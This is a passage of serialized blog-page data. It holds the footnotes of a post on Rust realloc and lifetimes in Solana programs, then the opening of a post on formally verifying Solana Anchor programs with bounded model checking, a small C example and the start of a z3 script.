internals!",{"type":24,"tag":21085,"props":24018,"children":24019},{},[24020],{"type":24,"tag":2773,"props":24021,"children":24025},{"href":24022,"ariaDescribedBy":24023,"dataFootnoteRef":7,"id":24024},"#user-content-fn-slice-unbound-lifetime",[21092],"user-content-fnref-slice-unbound-lifetime",[24026],{"type":29,"value":24027},"6",{"type":24,"tag":24029,"props":24030,"children":24033},"section",{"className":24031,"dataFootnotes":7},[24032],"footnotes",[24034,24041],{"type":24,"tag":32,"props":24035,"children":24038},{"className":24036,"id":21092},[24037],"sr-only",[24039],{"type":29,"value":24040},"Footnotes",{"type":24,"tag":2674,"props":24042,"children":24043},{},[24044,24149,24167,24222,24235,24263],{"type":24,"tag":2678,"props":24045,"children":24047},{"id":24046},"user-content-fn-rc-refs",[24048,24050,24056,24058,24063,24065,24069,24071,24075,24077,24082,24084,24090,24092,24097,24099,24109,24111,24116,24118,24123,24125,24130,24132,24138,24140],{"type":29,"value":24049},"I find it helpful to view owning an ",{"type":24,"tag":80,"props":24051,"children":24053},{"className":24052},[],[24054],{"type":29,"value":24055},"Rc\u003CT>",{"type":29,"value":24057}," as holding a shared reference to the underlying ",{"type":24,"tag":80,"props":24059,"children":24061},{"className":24060},[],[24062],{"type":29,"value":11612},{"type":29,"value":24064}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":24,"tag":8545,"props":24066,"children":24067},{},[24068],{"type":29,"value":22066},{"type":29,"value":24070}," ensures that the actual ",{"type":24,"tag":8545,"props":24072,"children":24073},{},[24074],{"type":29,"value":1139},{"type":29,"value":24076}," stays alive, however all you have is a reference to the ",{"type":24,"tag":80,"props":24078,"children":24080},{"className":24079},[],[24081],{"type":29,"value":11612},{"type":29,"value":24083}," (through the ",{"type":24,"tag":80,"props":24085,"children":24087},{"className":24086},[],[24088],{"type":29,"value":24089},"Deref\u003CTarget = T>",{"type":29,"value":24091}," impl) - ",{"type":24,"tag":8545,"props":24093,"children":24094},{},[24095],{"type":29,"value":24096},"not",{"type":29,"value":24098}," ownership ",{"type":24,"tag":8545,"props":24100,"children":24101},{},[24102,24104],{"type":29,"value":24103},"of the ",{"type":24,"tag":80,"props":24105,"children":24107},{"className":24106},[],[24108],{"type":29,"value":11612},{"type":29,"value":24110},". In short, owning an ",{"type":24,"tag":80,"props":24112,"children":24114},{"className":24113},[],[24115],{"type":29,"value":24055},{"type":29,"value":24117}," is owning a (shared, read-only) reference to ",{"type":24,"tag":80,"props":24119,"children":24121},{"className":24120},[],[24122],{"type":29,"value":11612},{"type":29,"value":24124},", not owning ",{"type":24,"tag":80,"props":24126,"children":24128},{"className":24127},[],[24129],{"type":29,"value":11612},{"type":29,"value":24131}," directly like with ",{"type":24,"tag":80,"props":24133,"children":24135},{"className":24134},[],[24136],{"type":29,"value":24137},"Box\u003CT>",{"type":29,"value":24139},". ",{"type":24,"tag":2773,"props":24141,"children":24146},{"href":24142,"ariaLabel":24143,"className":24144,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[24145],"data-footnote-backref",[24147],{"type":29,"value":24148},"↩",{"type":24,"tag":2678,"props":24150,"children":24152},{"id":24151},"user-content-fn-sendsync",[24153,24159,24160],{"type":24,"tag":80,"props":24154,"children":24156},{"className":24155},[],[24157],{"type":29,"value":24158},"!Send + !Sync",{"type":29,"value":12083},{"type":24,"tag":2773,"props":24161,"children":24165},{"href":24162,"ariaLabel":24163,"className":24164,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[24145],[24166],{"type":29,"value":24148},{"type":24,"tag":2678,"props":24168,"children":24170},{"id":24169},"user-content-fn-layout",[24171,24173,24178,24179,24192,24194,24199,24201,24206,24208,24213,24215],{"type":29,"value":24172},"Note that this is a terrible idea for yet another reason: ",{"type":24,"tag":80,"props":24174,"children":24176},{"className":24175},[],[24177],{"type":29,"value":20552},{"type":29,"value":5819},{"type":24,"tag":2773,"props":24180,"children":24183},{"href":24181,"rel":24182},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[2777],[24184,24186],{"type":29,"value":24185},"not declared with ",{"type":24,"tag":80,"props":24187,"children":24189},{"className":24188},[],[24190],{"type":29,"value":24191},"#[repr(C)]",{"type":29,"value":24193},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":24,"tag":8545,"props":24195,"children":24196},{},[24197],{"type":29,"value":24198},"breaks the entire chain",{"type":29,"value":24200}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":24,"tag":8545,"props":24202,"children":24203},{},[24204],{"type":29,"value":24205},"some",{"type":29,"value":24207}," kind of interface to the specific layout of the specific ",{"type":24,"tag":80,"props":24209,"children":24211},{"className":24210},[],[24212],{"type":29,"value":22118},{"type":29,"value":24214}," versions used to build on-chain code for all eternity... ",{"type":24,"tag":2773,"props":24216,"children":24220},{"href":24217,"ariaLabel":24218,"className":24219,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[24145],[24221],{"type":29,"value":24148},{"type":24,"tag":2678,"props":24223,"children":24225},{"id":24224},"user-content-fn-rustc-llvm",[24226,24228],{"type":29,"value":24227},"Actually, it's LLVM that does the optimization ",{"type":24,"tag":2773,"props":24229,"children":24233},{"href":24230,"ariaLabel":24231,"className":24232,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[24145],[24234],{"type":29,"value":24148},{"type":24,"tag":2678,"props":24236,"children":24238},{"id":24237},"user-content-fn-godbolt",[24239,24246,24248,24254,24256],{"type":24,"tag":2773,"props":24240,"children":24243},{"href":24241,"rel":24242},"https://godbolt.org/z/PK46xMbxc",[2777],[24244],{"type":29,"value":24245},"Click here",{"type":29,"value":24247}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":24,"tag":80,"props":24249,"children":24251},{"className":24250},[],[24252],{"type":29,"value":24253},"libcore",{"type":29,"value":24255}," available for other architectures yet. ",{"type":24,"tag":2773,"props":24257,"children":24261},{"href":24258,"ariaLabel":24259,"className":24260,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[24145],[24262],{"type":29,"value":24148},{"type":24,"tag":2678,"props":24264,"children":24266},{"id":24265},"user-content-fn-slice-unbound-lifetime",[24267,24269,24274,24276,24282,24284,24290,24292,24298,24300,24306,24308,24314,24316,24321,24323],{"type":29,"value":24268},"The astute reader may have noticed that ",{"type":24,"tag":80,"props":24270,"children":24272},{"className":24271},[],[24273],{"type":29,"value":23961},{"type":29,"value":24275}," still returns an unbounded lifetime (notice in the signature ",{"type":24,"tag":80,"props":24277,"children":24279},{"className":24278},[],[24280],{"type":29,"value":24281},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":29,"value":24283},", the lifetime parameter ",{"type":24,"tag":80,"props":24285,"children":24287},{"className":24286},[],[24288],{"type":29,"value":24289},"'a",{"type":29,"value":24291}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":24,"tag":80,"props":24293,"children":24295},{"className":24294},[],[24296],{"type":29,"value":24297},"*slice",{"type":29,"value":24299},", which is ",{"type":24,"tag":80,"props":24301,"children":24303},{"className":24302},[],[24304],{"type":29,"value":24305},"&'info [u8]",{"type":29,"value":24307}," (where ",{"type":24,"tag":80,"props":24309,"children":24311},{"className":24310},[],[24312],{"type":29,"value":24313},"'info",{"type":29,"value":24315}," is the lifetime parameter of the ",{"type":24,"tag":80,"props":24317,"children":24319},{"className":24318},[],[24320],{"type":29,"value":20552},{"type":29,"value":24322}," struct) - this is exactly the lifetime we started with. ",{"type":24,"tag":2773,"props":24324,"children":24328},{"href":24325,"ariaLabel":24326,"className":24327,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[24145],[24329],{"type":29,"value":24148},{"type":24,"tag":8473,"props":24331,"children":24332},{},[24333],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":24335},[24336,24342,24346,24347,24349],{"id":19982,"depth":160,"text":24337,"children":24338},"Breaking down realloc",[24339,24340],{"id":20148,"depth":169,"text":20151},{"id":21501,"depth":169,"text":24341},"Back to realloc",{"id":22449,"depth":160,"text":22452,"children":24343},[24344,24345],{"id":22455,"depth":169,"text":22458},{"id":22676,"depth":169,"text":22679},{"id":22863,"depth":160,"text":22866},{"id":23265,"depth":160,"text":24348},"Towards safer unsafe",{"id":21092,"depth":160,"text":24040},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":24354,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":24355,"description":24356,"author":24357,"image":24358,"date":24360,"isFeatured":16,"onBlogPage":16,"tags":24361,"body":24362,"_type":8496,"_id":34601,"_source":8498,"_file":34602,"_stem":34603,"_extension":8501},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":24359,"height":19240,"width":15},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[8513,8514],{"type":21,"children":24363,"toc":34573},[24364,24369,24374,24400,24403,24415,24438,24461,24473,24496,24499,24505,24554,24560,24566,24571,24582,24623,24628,24634,24639,24870,24890,24895,24900,24973,24978,25048,25062,25485,25505,25511,25530,25535,25540,25545,25551,25563,25598,25609,25620,25632,25637,25669,25693,25712,25718,25735,25741,25768,25773,25793,25805,25951,25979,25982,25994,26077,26096,26099,26138,26304,26309,26315,26327,26345,26358,26519,26531,26544,27018,27023,27070,27076,27094,27163,27401,27615,27620,27694,27742,27747,27753,27855,27959,27964,28026,28031,28037,28102,28107,28149,28175,28181,28250,28255,28305,28316,28322,28333,28354,28359,28364,28387,28393,28405,28425,29529,29547,29598,29603,29611,29623,29628,29636,29641,29657,29693,29698,29792,29797,29805,29810,29922,29927,29935,29948,30112,30117,30125,30130,30135,30203,30237,30243,30248,30259,30277,30655,30667,30679,30687,30698,30729,30734,30742,30747,31020,31039,31044,31070,31938,31950,32049,32061,32103,32108,32120,32128,32133,32145,32171,32331,32343,32351,32356,32632,32637,32649,32804,32824,33150,33184,33378,33411,33423,33545,33565,33570,33575,33580,33593,33601,33606,34081,34093,34098,34110,34115,34374,34400,34405,34411,34417,34429,34441,34460,34507,34512,34518,34523,34528,34533,34537,34542,34547,34550,34569],{"type":24,"tag":25,"props":24365,"children":24366},{},[24367],{"type":29,"value":24368},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":24,"tag":25,"props":24370,"children":24371},{},[24372],{"type":29,"value":24373},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":24,"tag":25,"props":24375,"children":24376},{},[24377,24379,24383,24385,24390,24392,24399],{"type":29,"value":24378},"In the world of Web3 we create programs that talk to strangers ",{"type":24,"tag":8545,"props":24380,"children":24381},{},[24382],{"type":29,"value":21980},{"type":29,"value":24384}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":24,"tag":8545,"props":24386,"children":24387},{},[24388],{"type":29,"value":24389},"juciest",{"type":29,"value":24391},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":24,"tag":2773,"props":24393,"children":24396},{"href":24394,"rel":24395},"https://rekt.news/leaderboard/",[2777],[24397],{"type":29,"value":24398},"hundreds of millions of dollars",{"type":29,"value":87},{"type":24,"tag":2665,"props":24401,"children":24402},{},[],{"type":24,"tag":25,"props":24404,"children":24405},{},[24406,24408,24413],{"type":29,"value":24407},"At OtterSec we are ",{"type":24,"tag":8545,"props":24409,"children":24410},{},[24411],{"type":29,"value":24412},"highly skilled in pest control",{"type":29,"value":24414}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":24,"tag":25,"props":24416,"children":24417},{},[24418,24420,24427,24429,24436],{"type":29,"value":24419},"Recently we were contacted by the ",{"type":24,"tag":2773,"props":24421,"children":24424},{"href":24422,"rel":24423},"https://squads.so/",[2777],[24425],{"type":29,"value":24426},"Squads team",{"type":29,"value":24428}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":24,"tag":2773,"props":24430,"children":24433},{"href":24431,"rel":24432},"https://github.com/Squads-Protocol/squads-mpl",[2777],[24434],{"type":29,"value":24435},"Squads Multisig Program",{"type":29,"value":24437}," as our main case study.",{"type":24,"tag":25,"props":24439,"children":24440},{},[24441,24443,24450,24452,24459],{"type":29,"value":24442},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":24,"tag":2773,"props":24444,"children":24447},{"href":24445,"rel":24446},"https://www.anchor-lang.com/",[2777],[24448],{"type":29,"value":24449},"anchor-lang",{"type":29,"value":24451}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":24,"tag":2773,"props":24453,"children":24456},{"href":24454,"rel":24455},"https://github.com/model-checking/kani",[2777],[24457],{"type":29,"value":24458},"Kani Rust Verifier",{"type":29,"value":24460},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":24,"tag":25,"props":24462,"children":24463},{},[24464,24466,24471],{"type":29,"value":24465},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":24,"tag":8545,"props":24467,"children":24468},{},[24469],{"type":29,"value":24470},"bounded model checking",{"type":29,"value":24472}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":24,"tag":25,"props":24474,"children":24475},{},[24476],{"type":24,"tag":8545,"props":24477,"children":24478},{},[24479,24481,24488,24490],{"type":29,"value":24480},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":24,"tag":2773,"props":24482,"children":24485},{"href":24483,"rel":24484},"https://osec.io/contact",[2777],[24486],{"type":29,"value":24487},"this form",{"type":29,"value":24489}," or email us at ",{"type":24,"tag":2773,"props":24491,"children":24493},{"href":24492},"mailto:contact@osec.io",[24494],{"type":29,"value":24495},"contact@osec.io",{"type":24,"tag":2665,"props":24497,"children":24498},{},[],{"type":24,"tag":112,"props":24500,"children":24502},{"id":24501},"contents",[24503],{"type":29,"value":24504},"Contents:",{"type":24,"tag":2674,"props":24506,"children":24507},{},[24508,24513,24530,24540,24545,24550],{"type":24,"tag":2678,"props":24509,"children":24510},{},[24511],{"type":29,"value":24512},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":24,"tag":2678,"props":24514,"children":24515},{},[24516,24521,24523,24528],{"type":24,"tag":10949,"props":24517,"children":24518},{},[24519],{"type":29,"value":24520},"Specification",{"type":29,"value":24522},": How can we describe what we ",{"type":24,"tag":8545,"props":24524,"children":24525},{},[24526],{"type":29,"value":24527},"want",{"type":29,"value":24529}," our program to do?",{"type":24,"tag":2678,"props":24531,"children":24532},{},[24533,24538],{"type":24,"tag":10949,"props":24534,"children":24535},{},[24536],{"type":29,"value":24537},"Verification",{"type":29,"value":24539},": How do we check that our model is correct?",{"type":24,"tag":2678,"props":24541,"children":24542},{},[24543],{"type":29,"value":24544},"Case Study: Squads Multisig",{"type":24,"tag":2678,"props":24546,"children":24547},{},[24548],{"type":29,"value":24549},"Additional challenges in Solana",{"type":24,"tag":2678,"props":24551,"children":24552},{},[24553],{"type":29,"value":8461},{"type":24,"tag":32,"props":24555,"children":24557},{"id":24556},"formal-verification-with-bounded-model-checking",[24558],{"type":29,"value":24559},"Formal Verification with Bounded Model Checking",{"type":24,"tag":43,"props":24561,"children":24563},{"id":24562},"overview",[24564],{"type":29,"value":24565},"Overview",{"type":24,"tag":25,"props":24567,"children":24568},{},[24569],{"type":29,"value":24570},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":24,"tag":25,"props":24572,"children":24573},{},[24574,24576,24581],{"type":29,"value":24575},"There are many different flavors of formal verification, however in this research we are using ",{"type":24,"tag":10949,"props":24577,"children":24578},{},[24579],{"type":29,"value":24580},"bounded model checking (BMC)",{"type":29,"value":87},{"type":24,"tag":25,"props":24583,"children":24584},{},[24585,24587,24592,24594,24599,24601,24605,24607,24613,24615,24621],{"type":29,"value":24586},"In short, the idea of BMC is to execute our program ",{"type":24,"tag":8545,"props":24588,"children":24589},{},[24590],{"type":29,"value":24591},"symbolically",{"type":29,"value":24593}," rather than ",{"type":24,"tag":8545,"props":24595,"children":24596},{},[24597],{"type":29,"value":24598},"concretely",{"type":29,"value":24600},". Instead of actually performing an ",{"type":24,"tag":8545,"props":24602,"children":24603},{},[24604],{"type":29,"value":15259},{"type":29,"value":24606}," when we see the line ",{"type":24,"tag":80,"props":24608,"children":24610},{"className":24609},[],[24611],{"type":29,"value":24612},"int x = a + b",{"type":29,"value":24614},", we store the symbolic expression ",{"type":24,"tag":80,"props":24616,"children":24618},{"className":24617},[],[24619],{"type":29,"value":24620},"x == a + b",{"type":29,"value":24622},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":24,"tag":25,"props":24624,"children":24625},{},[24626],{"type":29,"value":24627},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":24,"tag":43,"props":24629,"children":24631},{"id":24630},"a-simple-example",[24632],{"type":29,"value":24633},"A simple example",{"type":24,"tag":25,"props":24635,"children":24636},{},[24637],{"type":29,"value":24638},"As an example, consider the following function:",{"type":24,"tag":137,"props":24640,"children":24642},{"code":24641,"language":140,"meta":7,"className":141,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[24643],{"type":24,"tag":80,"props":24644,"children":24645},{"__ignoreMap":7},[24646,24675,24708,24720,24745,24773,24788,24815,24822,24829,24837,24863],{"type":24,"tag":147,"props":24647,"children":24648},{"class":149,"line":150},[24649,24653,24658,24662,24666,24671],{"type":24,"tag":147,"props":24650,"children":24651},{"style":218},[24652],{"type":29,"value":1276},{"type":24,"tag":147,"props":24654,"children":24655},{"style":229},[24656],{"type":29,"value":24657}," foo",{"type":24,"tag":147,"props":24659,"children":24660},{"style":235},[24661],{"type":29,"value":480},{"type":24,"tag":147,"props":24663,"children":24664},{"style":218},[24665],{"type":29,"value":1276},{"type":24,"tag":147,"props":24667,"children":24668},{"style":247},[24669],{"type":29,"value":24670}," x",{"type":24,"tag":147,"props":24672,"children":24673},{"style":235},[24674],{"type":29,"value":505},{"type":24,"tag":147,"props":24676,"children":24677},{"class":149,"line":160},[24678,24682,24686,24690,24695,24699,24704],{"type":24,"tag":147,"props":24679,"children":24680},{"style":218},[24681],{"type":29,"value":4499},{"type":24,"tag":147,"props":24683,"children":24684},{"style":235},[24685],{"type":29,"value":10138},{"type":24,"tag":147,"props":24687,"children":24688},{"style":241},[24689],{"type":29,"value":369},{"type":24,"tag":147,"props":24691,"children":24692},{"style":235},[24693],{"type":29,"value":24694}," x ",{"type":24,"tag":147,"props":24696,"children":24697},{"style":241},[24698],{"type":29,"value":624},{"type":24,"tag":147,"props":24700,"children":24701},{"style":705},[24702],{"type":29,"value":24703}," 3",{"type":24,"tag":147,"props":24705,"children":24706},{"style":235},[24707],{"type":29,"value":432},{"type":24,"tag":147,"props":24709,"children":24710},{"class":149,"line":169},[24711,24715],{"type":24,"tag":147,"props":24712,"children":24713},{"style":218},[24714],{"type":29,"value":4499},{"type":24,"tag":147,"props":24716,"children":24717},{"style":235},[24718],{"type":29,"value":24719}," z;\n",{"type":24,"tag":147,"props":24721,"children":24722},{"class":149,"line":178},[24723,24727,24732,24736,24741],{"type":24,"tag":147,"props":24724,"children":24725},{"style":321},[24726],{"type":29,"value":4759},{"type":24,"tag":147,"props":24728,"children":24729},{"style":235},[24730],{"type":29,"value":24731}," (y ",{"type":24,"tag":147,"props":24733,"children":24734},{"style":241},[24735],{"type":29,"value":3453},{"type":24,"tag":147,"props":24737,"children":24738},{"style":705},[24739],{"type":29,"value":24740}," 100",{"type":24,"tag":147,"props":24742,"children":24743},{"style":235},[24744],{"type":29,"value":505},{"type":24,"tag":147,"props":24746,"children":24747},{"class":149,"line":187},[24748,24753,24757,24761,24765,24769],{"type":24,"tag":147,"props":24749,"children":24750},{"style":235},[24751],{"type":29,"value":24752},"        z ",{"type":24,"tag":147,"props":24754,"children":24755},{"style":241},[24756],{"type":29,"value":369},{"type":24,"tag":147,"props":24758,"children":24759},{"style":235},[24760],{"type":29,"value":10138},{"type":24,"tag":147,"props":24762,"children":24763},{"style":241},[24764],{"type":29,"value":244},{"type":24,"tag":147,"props":24766,"children":24767},{"style":705},[24768],{"type":29,"value":13560},{"type":24,"tag":147,"props":24770,"children":24771},{"style":235},[24772],{"type":29,"value":432},{"type":24,"tag":147,"props":24774,"children":24775},{"class":149,"line":196},[24776,24780,24784],{"type":24,"tag":147,"props":24777,"children":24778},{"style":235},[24779],{"type":29,"value":6620},{"type":24,"tag":147,"props":24781,"children":24782},{"style":321},[24783],{"type":29,"value":6625},{"type":24,"tag":147,"props":24785,"children":24786},{"style":235},[24787],{"type":29,"value":6630},{"type":24,"tag":147,"props":24789,"children":24790},{"class":149,"line":205},[24791,24795,24799,24803,24807,24811],{"type":24,"tag":147,"props":24792,"children":24793},{"style":235},[24794],{"type":29,"value":24752},{"type":24,"tag":147,"props":24796,"children":24797},{"style":241},[24798],{"type":29,"value":369},{"type":24,"tag":147,"props":24800,"children":24801},{"style":235},[24802],{"type":29,"value":10138},{"type":24,"tag":147,"props":24804,"children":24805},{"style":241},[24806],{"type":29,"value":624},{"type":24,"tag":147,"props":24808,"children":24809},{"style":705},[24810],{"type":29,"value":10147},{"type":24,"tag":147,"props":24812,"children":24813},{"style":235},[24814],{"type":29,"value":432},{"type":24,"tag":147,"props":24816,"children":24817},{"class":149,"line":214},[24818],{"type":24,"tag":147,"props":24819,"children":24820},{"style":235},[24821],{"type":29,"value":1952},{"type":24,"tag":147,"props":24823,"children":24824},{"class":149,"line":272},[24825],{"type":24,"tag":147,"props":24826,"children":24827},{"emptyLinePlaceholder":16},[24828],{"type":29,"value":314},{"type":24,"tag":147,"props":24830,"children":24831},{"class":149,"line":281},[24832],{"type":24,"tag":147,"props":24833,"children":24834},{"style":154},[24835],{"type":29,"value":24836},"    // Property P:\n",{"type":24,"tag":147,"props":24838,"children":24839},{"class":149,"line":299},[24840,24845,24850,24854,24859],{"type":24,"tag":147,"props":24841,"children":24842},{"style":229},[24843],{"type":29,"value":24844},"    assert",{"type":24,"tag":147,"props":24846,"children":24847},{"style":235},[24848],{"type":29,"value":24849},"(z ",{"type":24,"tag":147,"props":24851,"children":24852},{"style":241},[24853],{"type":29,"value":4279},{"type":24,"tag":147,"props":24855,"children":24856},{"style":705},[24857],{"type":29,"value":24858}," 105",{"type":24,"tag":147,"props":24860,"children":24861},{"style":235},[24862],{"type":29,"value":1473},{"type":24,"tag":147,"props":24864,"children":24865},{"class":149,"line":308},[24866],{"type":24,"tag":147,"props":24867,"children":24868},{"style":235},[24869],{"type":29,"value":827},{"type":24,"tag":25,"props":24871,"children":24872},{},[24873,24875,24881,24883,24889],{"type":29,"value":24874},"This function takes an input ",{"type":24,"tag":80,"props":24876,"children":24878},{"className":24877},[],[24879],{"type":29,"value":24880},"x",{"type":29,"value":24882}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":24,"tag":80,"props":24884,"children":24886},{"className":24885},[],[24887],{"type":29,"value":24888},"z != 105",{"type":29,"value":87},{"type":24,"tag":25,"props":24891,"children":24892},{},[24893],{"type":29,"value":24894},"With BMC, we could trace this program and derive the following constraints:",{"type":24,"tag":25,"props":24896,"children":24897},{},[24898],{"type":29,"value":24899},"Positive branch:",{"type":24,"tag":137,"props":24901,"children":24903},{"code":24902,"language":140,"meta":7,"className":141,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[24904],{"type":24,"tag":80,"props":24905,"children":24906},{"__ignoreMap":7},[24907,24932,24948],{"type":24,"tag":147,"props":24908,"children":24909},{"class":149,"line":150},[24910,24915,24919,24923,24927],{"type":24,"tag":147,"props":24911,"children":24912},{"style":235},[24913],{"type":29,"value":24914},"y ",{"type":24,"tag":147,"props":24916,"children":24917},{"style":241},[24918],{"type":29,"value":6600},{"type":24,"tag":147,"props":24920,"children":24921},{"style":235},[24922],{"type":29,"value":24694},{"type":24,"tag":147,"props":24924,"children":24925},{"style":241},[24926],{"type":29,"value":624},{"type":24,"tag":147,"props":24928,"children":24929},{"style":705},[24930],{"type":29,"value":24931}," 3\n",{"type":24,"tag":147,"props":24933,"children":24934},{"class":149,"line":160},[24935,24939,24943],{"type":24,"tag":147,"props":24936,"children":24937},{"style":235},[24938],{"type":29,"value":24914},{"type":24,"tag":147,"props":24940,"children":24941},{"style":241},[24942],{"type":29,"value":3453},{"type":24,"tag":147,"props":24944,"children":24945},{"style":705},[24946],{"type":29,"value":24947}," 100\n",{"type":24,"tag":147,"props":24949,"children":24950},{"class":149,"line":169},[24951,24956,24960,24964,24968],{"type":24,"tag":147,"props":24952,"children":24953},{"style":235},[24954],{"type":29,"value":24955},"z ",{"type":24,"tag":147,"props":24957,"children":24958},{"style":241},[24959],{"type":29,"value":6600},{"type":24,"tag":147,"props":24961,"children":24962},{"style":235},[24963],{"type":29,"value":10138},{"type":24,"tag":147,"props":24965,"children":24966},{"style":241},[24967],{"type":29,"value":244},{"type":24,"tag":147,"props":24969,"children":24970},{"style":705},[24971],{"type":29,"value":24972}," 2\n",{"type":24,"tag":25,"props":24974,"children":24975},{},[24976],{"type":29,"value":24977},"Negative branch:",{"type":24,"tag":137,"props":24979,"children":24981},{"code":24980,"language":140,"meta":7,"className":141,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[24982],{"type":24,"tag":80,"props":24983,"children":24984},{"__ignoreMap":7},[24985,25008,25024],{"type":24,"tag":147,"props":24986,"children":24987},{"class":149,"line":150},[24988,24992,24996,25000,25004],{"type":24,"tag":147,"props":24989,"children":24990},{"style":235},[24991],{"type":29,"value":24914},{"type":24,"tag":147,"props":24993,"children":24994},{"style":241},[24995],{"type":29,"value":6600},{"type":24,"tag":147,"props":24997,"children":24998},{"style":235},[24999],{"type":29,"value":24694},{"type":24,"tag":147,"props":25001,"children":25002},{"style":241},[25003],{"type":29,"value":624},{"type":24,"tag":147,"props":25005,"children":25006},{"style":705},[25007],{"type":29,"value":24931},{"type":24,"tag":147,"props":25009,"children":25010},{"class":149,"line":160},[25011,25015,25020],{"type":24,"tag":147,"props":25012,"children":25013},{"style":235},[25014],{"type":29,"value":24914},{"type":24,"tag":147,"props":25016,"children":25017},{"style":241},[25018],{"type":29,"value":25019},"\u003C=",{"type":24,"tag":147,"props":25021,"children":25022},{"style":705},[25023],{"type":29,"value":24947},{"type":24,"tag":147,"props":25025,"children":25026},{"class":149,"line":169},[25027,25031,25035,25039,25043],{"type":24,"tag":147,"props":25028,"children":25029},{"style":235},[25030],{"type":29,"value":24955},{"type":24,"tag":147,"props":25032,"children":25033},{"style":241},[25034],{"type":29,"value":6600},{"type":24,"tag":147,"props":25036,"children":25037},{"style":235},[25038],{"type":29,"value":10138},{"type":24,"tag":147,"props":25040,"children":25041},{"style":241},[25042],{"type":29,"value":624},{"type":24,"tag":147,"props":25044,"children":25045},{"style":705},[25046],{"type":29,"value":25047}," 1\n",{"type":24,"tag":25,"props":25049,"children":25050},{},[25051,25053,25060],{"type":29,"value":25052},"Using the ",{"type":24,"tag":2773,"props":25054,"children":25057},{"href":25055,"rel":25056},"https://github.com/Z3Prover/z3",[2777],[25058],{"type":29,"value":25059},"z3",{"type":29,"value":25061}," SMT solver, we could check both of these cases like so:",{"type":24,"tag":137,"props":25063,"children":25067},{"code":25064,"language":25065,"meta":7,"className":25066,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[25068],{"type":24,"tag":80,"props":25069,"children":25070},{"__ignoreMap":7},[25071,25093,25100,25126,25150,25174,25181,25189,25206,25234,25253,25281,25288,25296,25316,25334,25341,25349,25364,25391,25410,25437,25444,25451,25470],{"type":24,"tag":147,"props":25072,"children":25073},{"class":149,"line":150},[25074,25079,25084,25089],{"type":24,"tag":147,"props":25075,"children":25076},{"style":321},[25077],{"type":29,"value":25078},"from",{"type":24,"tag":147,"props":25080,"children":25081},{"style":235},[25082],{"type":29,"value":25083}," z3 